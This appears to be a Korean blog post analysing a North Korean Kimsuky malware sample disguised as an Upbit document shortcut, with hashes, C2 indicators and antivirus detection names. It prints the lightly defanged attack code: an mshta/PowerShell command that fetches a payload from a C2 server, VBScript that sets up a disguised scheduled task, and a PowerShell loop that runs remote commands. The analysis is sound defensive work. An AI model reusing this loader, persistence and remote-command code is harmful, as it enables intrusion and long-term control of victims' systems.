꿈을꾸는 파랑새

오늘은 우리 북한 해킹 단체인 김수키(Kimsuky)에서 만든 암호화폐 거래소 업비트 사칭 악성코드-Upbit_20240916 docx lnk(2024.9.17)에 대해 글을 적어 보겠습니다.
일단 먼저 해당 악성코드 해쉬값은 다음과 같습니다.
파일명:Upbit_20240916 docx lnk.lnk
사이즈:2.30 KB
MD5:37fb639a295daa760c739bc21c553406
SHA-1:50e4d8a112e4aad2c984d22f83c80c8723f232da
SHA-256:41cf6298a41c27357ee5f70d8cd1c0bd48698fc30c4255fad6a91798286e5229
입니다.
그리고 해당 악성코드 속성을 보시면 Mshta.exe를 사용하여 javascript를 사용을 하는 것으로 확인할 수가 있습니다.

Upbit_20240916 악성코드 속성
Upbit_20240916 악성코드 속성

StringData
{
 namestring: not present
 relativepath: ..\..\..\Windows\System32\mshta(.)exe
 workingdir: C:\Windows\Sy(s)tem32
 commandlinearguments: javasc(r)ipt:p="se64String($z);$";s="Strea(m)";w="a=new
 Act"+"iveXObject('WScr"(+)"ipt.Shell');a.Run(c,0,0);close();";a="System(.)IO."
 +s;t=" -Pa(t)h $t -";n="New(-)Object System.";d="c:\\pr(o)gramdata";c="power"
 (+)"shell -ep by(p)ass -c $r='64(.)49(.)14(.)181';$p='8014';$r="+n+"IO."(+)s+"
 Reader(("+n+"Net.Socket(s).TcpClient($r, $p)).Get"+s+"());$z=$r.ReadLi(n)e();$
 b=[Con"(+)"vert]::FromBa"(+)p+"t='"+d+"\\t(.)zip';Set-Content"(+)t+"V $b -Enc
 oding Byte;Expand-Archive"+t+"D "(+)d+";del $t;$v='"+d+"\\s(.)vbs';&$v;sc "+d
 (+)"\\nt91610 81";eval(w);
 iconlocation: (.)docx
}

local_base_path: C:\Windows\System32\mshta(.)exe

악성코드 분석

악성코드 에 포함된 자바스크립트
악성코드 에 포함된 자바스크립트

mshta.exe는 Windows에서 HTML 애플리케이션(HTA)을 실행하는 프로그램
HTA는 HTML 파일을 통해 스크립트를 실행할 수 있으며 해당 경로를 사용하는 이유는 mshta.exe 를 통해 JavaScript 또는 VBScript를 실행 즉 악성 스크립트가 실행되는 수단으로 자주 사용
2.명령어 분석
PowerShell 명령어
-ep bypass 옵션을 통해 실행 정책을 우회하여 악의적으로 만들어진 PowerShell 스크립트를 실행
IP 주소와 포트
64(.)49(.)14.181은 공격자의 제어 서버(C2)로 IP 주소 8014 는 해당 서버와 통신할 때 사용할 포트 번호
TCP 소켓을 이용한 데이터 전송
PowerShell을 이용하여 원격 제어 서버와 TCP 소켓을 통해 연결을 시도
연결되고 서버로부터 명령을 받을 것으로 것입니다.
파일 다운로드 및 실행
서버에서 받은 Base64 인코딩된 데이터를 변환하여 임시 파일(t.zip)로 저장
당 파일을 압축 해제하고 원본 파일은 삭제

악성코드가 생성한 파일 압축 해제
악성코드가 생성한 파일 압축 해제

VBS 파일 실행
압축 해제된 파일 중 s.vbs라는 VBScript 파일을 실행
서비스 등록
sc 명령어는 서비스 제어 도구로 해당 코드에서는 nt91610 이라는 서비스를 등록하려고 시도 서비스는 시스템 시작 시 자동으로 실행
기타
파일 아이콘을 .docx로 설정 문서 파일로 위장하려는 의도
해당 t.zip 파일에는 다음과 같은 파일들이 존재
07578.tmp
R9147.vbs
s.vbs
xM568.tmp
xS023.tmp
먼저 s.vbs를 열어보면 다음과 같이 Caeser Cipher(시저 암호)를 통해서 ( chr(ce8-(4))) ) 디코딩하는 것을 확인할 수가 있습니다.

s.vbs 1번쨰s.vbs 2번쨰
s.vbs 1번쨰

이것을 여기서 제가 실행을 했으면 chr(b-(3)) 로 돼 있었습니다. 아마도 변경을 하지 않았나 싶기도 합니다. 아무튼, 변수 iko9는 인코딩된 페이로드를 저장하는 것은 for 루프를 사용하여 디코딩하며 한 문자 이동( chr(ce8-(4))) )을 사용하여 변수를 디코딩하면 개인적으로 실행했으면 3입니다.
일단 개인적으로 수집한 Caeser Cipher(시저 암호)를 따라가면 다음과 같이 확인을 할 수가 있었습니다.

pk`f:msnc="om is the hosted versi"
:On Error Resume Next:
lopppc="munity and frequent updates: Wo":mkc= "Scr"(+)"ipt.":smocv="Set monce 
= W":bothec=smocv (+) mkc 
(+) "Crea"(+)"teObj":jsm = 
bothec + "ect(""WS"(+)"cri"+"pt.Shel"+"l""):":
Execute jsm:cl= "c"(+)"md /c s"+"chtasks /cr"+"eate /sc min"+"ute /mo 1 /tn Mi
crosoftEdgeUpdateTas(k)MSCore[57164-71251-9342] 
/tr ""ws"+"cript //e:vb"(+)"scr"+"ipt //b C:\\ProgramData\\07578.tmp"" /f":monc
e.Run cl, 0,
false:dc="c:\\pro"+"gramdata\\DOC5783"(+)"09.docx":Set fso = CreateObject("Scri"
+"pting.Filesy"(+)"stemobject"):
set fp = fso.OpemT(e)xtFile(dc, 2, True):
fp.Write "":fp.close:(S)et opsce = CreateObject("Shel"+"l.A(p)plication"):jsm=
"opsce.She"(+)"llExec"+"ute dc:":Execute jsm:

물론 해당 결과를 얻으려면 파이썬(Python)으로 Caeser Cipher(시저 암호) 푸는 것이 가장 빠름
악성코드는 C:\ProgramData 폴더에 빈 DOC578309 문서를 생성하는 것을 확인할 수가 있습니다.

악성코드 가 생성한 DOC578309 문서
악성코드 가 생성한 DOC578309 문서

코드 분석

1.On Error Resume Next:오류가 발생해도 프로그램이 멈추지 않고 계속 실행되도록 하는 구문
이는 악성 스크립트에서 자주 사용되고 있으며 오류 발생 시 코드 실행을 방해받지 않으려고 사용
2. 변수 설정:pk 부터 smocv 까지 변수들은 문자열을 저장하고 있으며 해당 변수들은 결국 WSH(Windows Script Host)에서 제공하는 객체인 WScript.Shell을 생성하고 명령어를 실행하기 위한 코드
3.Windows 명령어 작업 스케줄러(schtasks) 사용:schtasks /create /sc minute /mo 1 /tn MicrosoftEdgeUpdateTaskMSCore 부분에서 Windows의 작업 스케줄러를 사용해 1분마다 특정 명령을 실행하도록 작업을 생성 해당 작업은 ProgramData에 있는 07578.tmp 라는 명령어를 실행 파일을 매분 실행하도록 설정
4.파일 생성 및 조작: 빈 Word 문서 (.docx) 파일을 생성
빈 파일은 실제로 악성 코드를 숨기거나 위장
5.ShellExecute 함수 사용
마지막으로 생성된 .docx 파일을 실행
해당 부분은 단순히 문서를 실행하는 것으로 보이지만 악성 코드 을 실행하거나 추가적인 악성 행위

xM568 베이스 64 디코딩
xM568 베이스 64 디코딩

R9147.vbs 코드

cm726="sucn83988ubsio windowsn U(p)date 291":On Error Resume Next:c
mosij(e)="podj for so(i)djgnsitring":Set sh = WScri(p)t.CreateObject("
WScr"(+)"ipt(.)She"(+)"ll"):mxjb="msjkeiu(h)iwuhef":bewcdf = "p"(+)"ower
"(+)"shell -ep byp"(+)"ass -com"+"mand $fn='C:\\ProgramData\\xM568(.)tmp'
;$d = Get-C"+"ontent $fn; Inv"+"oke(-)Exp"+"
ress"+"ion $d;":sh.Run (b)ewcdf, 0, false:

코드 분석

셸 객체 생성
Windows Script Host의 WScript.Shell 객체를 생성하여 명령어를 실행할 수 있 하고 있으며 해당 객체를 사용하여 시스템 명령어를 실행하거나 PowerShell을 호출
PowerShell 명령어 실행
-ep bypass :PowerShell의 실행 정책(ExecutionPolicy)을 우회하겠다는 의미
Windows는 기본적으로 PowerShell 스크립트 실행에 제한을 두고 있는데 이를 우회하여 악성 코드 실행
Invoke-Expression: $fn='C:\\ProgramData\\xM568(.)tmp'; $d = Get-Content $fn; Invoke-Expression $d; 해당 명령어는 다음과 같이 동작
C:\ProgramData\xM568.tmp라는 파일의 내용을 $d 변수에 읽어들임
그 후, Invoke-Expression 을 사용하여 $d에 저장된 내용을 실행
즉, 해당 명령어는 xM568.tmp 파일에 저장된 내용을 PowerShell 스크립트로 실행 할려는것 
스크립트 실행
sh.Run bewcdf, 0, false: 앞서 정의된 PowerShell 명령어를 실행
0은 실행 중 창을 숨기도록 설정한 것이며 이는 사용자가 눈치 채지 못하도록 조용히 실행 목적

원격 서버

$unmcnex = "64(.)49(.)14(.)181"

$yutbbc = "7032"



function Mu(T)xdonewd

{

    param(

    [parameter(Ma(n)datory = $true)][stri(n)g] $sefncevID

    )



    try

    {

        $Musnciuhwefx = New-Object System(.)Threading.Mutex -(A)rgumentList 'false', $sefncevID



        if (-not $Musnci(u)hwefx.WaitOne(2000))

        {

            Exit;

        }



        return $Musnc(i)uhwefx

    } 

    catch [System(.)Threading(.)AbandonedMutexException] 

    {

        $Musnciuhwef(x) = New-Object Syst(e)m.Threadin(g).Mutex -Argume(n)tList 
        'fa(l)se', $se(f)ncevID

        return MuT(x)donewd -sefn(c)evID $sefn(c)evID

    }

}



$Musnciuhwefx = MuTx(d)onewd -sef(n)cevID 'ScR(3)8294'



while($true)

{    

	$tcpConnection = New-Object System(.)Net.Sockets(.)TcpClient($unm(c)nex, $y(u)tbbc)

	$tcpStream = $tcpConnection(.)GetStream()

	$reader = New-Object System(.)IO(.)StreamReader($tcpStream)

	$writer = New-Object System(.)IO(.)StreamWriter($tcpStream)

	$writer.AutoFlush = $true



	$cmd = $reader(.)ReadLine()

    if($cmd.Length -ne 0)

    {

	    $tmpz = "c:\programdata\tmps2(.)ps1"

	    $cmd | Out-File $tmpz

        

        powershell -e(p) bypass -f $tmpz;

        del $t(m)pz;

    }

    Sleep(20);

}

코드 설명

원격 제어를 위한 부분 특히 TCP 연결을 통해 명령을 받아서 PowerShell 스크립트를 실행하는 기능을 가지고 있으며 원격 명령 실행
1.IP 주소 및 포트 번호
$unmcnex = "64(.)49(.)14(.)181":해당 변수는 원격 서버의 IP 주소를 저장
$yutbbc = "7032":해당 변수는 원격 서버와 연결할 포트 번호 를 저장
악성코드가 64(.)49(.)14(.)181 의 IP 주소로 7032번 포트에 연결을 시도한다는 것을 의미
2.Mutex 생성 및 사용
함수 MuTxdonewd는 Mutex(서로 다른 프로세스 간 리소스 접근 동기화를 위한 객체)를 생성하여 이미 같은 Mutex가 존재하면 추가적인 실행을 중지시키는 방식
악성코드가 중복으로 실행되지 않도록 방지하는 용도
if (-not $Musnciuhwefx.WaitOne(2000)) 구문은 Mutex를 확보하려 시도하는 데 만약 실패하면 실행을 종료
3.무한 루프 및 원격 명령 수신
while($true) 구문은 무한 루프 해당 루프 통해서 계속해서 원격 서버로부터 명령을 기다리고 처리
$tcpConnection = New-Object System(.)Net.Sockets(.)TcpClient($unmcnex, $yutbbc)는 $unmcnex 변수에 저장된 IP 주소와 $yutbbc에 저장된 포트 번호로 TCP 연결
New-Object System(.)IO(.)StreamReader 및 StreamWriter 객체를 통해 원격 서버로부터 명령을 읽고 실행하는 구조
4. 명령 실행
$cmd = $reader.ReadLine() 구문은 원격 서버로부터 명령을 읽어오며 서버에서 전송한 명령은 $cmd 에 저장
명령이 존재할 경우 $cmd를 임시 파일로 저장하고 해당 파일을 PowerShell 스크립트로 실행
Out-File을 사용해 c:\programdata\tmps2(.)ps1 경로에 명령을 저장
그 후 powershell -ep bypass -f $tmpz; 명령어를 사용해 PowerShell 실행 정책을 우회하여 임시 파일을 실행
실행 후 tmps2.ps1 파일을 중앙극장 김두한,상하이 조 들이 심영을 습격해서 폭파시킨 것처럼 폭파
5.20초 대기: Sleep(20) 명령어를 사용해서 한 사이클이 끝나고 20초 동안 대기했다가 다시 서버로부터 명령을 기다리도록 설정
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Winload vbs 파일을 실행하는 작업을 등록
C2 서버의 응답은 tmps2.ps1 응답을 받고 자동 삭제된다고 했는데 악성코드를 변경을 해주면 기다림의 미학이 있을 것입니다. 일단 보니까 이게 t.zip 파일의 해쉬값이 변경이 된 것을 확인할 수가 있을 것입니다. 즉 해당 북한 애들은 수정하는 것 같습니다. 제가 사용한 악성코드 해쉬값들은 다음과 같습니다.
파일명:t.zip
사이즈:4.30 KB
MD5:f43373ad8d860b4e86e6ce82a65b99ee
SHA-1:b500b170146308722a95b6892fbdf88ee90dc93c
SHA-256:ea96a61215ac44e295a19d3ede58e9b1fb7e6ae607ce6616d4a5337d3c4678f8
파일명:07578.tmp
사이즈:906 B
MD5:7b5783d42240651af78ebf7e01b31fe8
SHA-1:4434d291290fbc40b0b4f323f6474960ce57bbfa
SHA-256:6564c5e2e6193e6a947f00881a92c1a8854026ee595aa168dfedc11bc0ab8c8a
파일명:s.vbs
사이즈:1.60 KB
MD5:6c510785cf239cafcaf5ebf8d588689f
SHA-1:dbb2a7fd1f1653cbec4f8d4b627bef58a57799f5
SHA-256:40756e44f5721dbb8d17bc538336d1506f2a9e30e2b049583ee3cda378de6b27
파일명:xM568.tmp
사이즈:2.04 KB
MD5:0c3fd7f45688d5ddb9f0107877ce2fbd
SHA-1:69e038480a7b38ac62d7df0c416e83c67670720a
SHA-256:c4aba442d881cfa112fe3a6b1d2381b089cbe163828cfdb2d57abba95737a07d
파일명:xS023.tmp
사이즈:1.09 KB
MD5:1a1723be720c1d9cd57cf4a6a112df79
SHA-1:eabfadb9034062fed3d32dc290e3284741f1dd58
SHA-256:963af57641c094df6b5656552daaafd5ced0a1435261e612a4640604d023ebca
C2 
64(.)49(.)14(.)181    
ports 8014,7032
2024-09-18 06:18:43 UTC 기준 해당 악성코드를 탐지하는 보안 업체들은 다음과 같습니다.
Arcabit:Heur.BZC.YAX.Pantera.41.CE9EAB30
Avast:Other:Malware-gen [Trj]
AVG:Other:Malware-gen [Trj]
BitDefender:Heur.BZC.YAX.Pantera.41.CE9EAB30
CTX:Lnk.trojan.pantera
Emsisoft:Heur.BZC.YAX.Pantera.41.CE9EAB30 (B)
eScan:Heur.BZC.YAX.Pantera.41.CE9EAB30
ESET-NOD32:LNK/TrojanDownloader.Agent.CEF
GData:Heur.BZC.YAX.Pantera.41.CE9EAB30
Google:Detected
Huorong:Trojan/LNK.Starter.bj
Ikarus:BZC.YAX.Pantera
Kaspersky:HEUR:Trojan.Multi.Runner.c
Kingsoft:Script.Troj.CMDLnk.22143
Microsoft:PUA:Win32/Puwaders.C!ml
Sophos:Mal/DownLnk-D
Symantec:Trojan.Gen.NPE
Tencent:Win32.Trojan-Downloader.Der.Vmhl
Trellix (HX):Heur.BZC.YAX.Pantera.41.CE9EAB30
TrendMicro:TROJ_FRS.0NA103IH24
TrendMicro-HouseCall:TROJ_FRS.0NA103IH24
Varist:LNK/ABTrojan.EWVT-
VIPRE:Heur.BZC.YAX.Pantera.41.CE9EAB30
WithSecure:Trojan:W32/LnkGen.C
ZoneAlarm by Check Point:HEUR:Trojan.Multi.Runner.c
Zoner:Probably Heur.LNKScript
해당 이번 김수키(Kimsuky)는 C2 서버와의 통신 및 최종 페이로드 실행을 통해 스파이 관련 활동에서 정보를 유출하거나 시스템을 조작할 가능성이 있는 장기간 동안 피해자의 시스템에 지속적으로 액세스하는 것을 목표 인것을 확신합니다.

그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band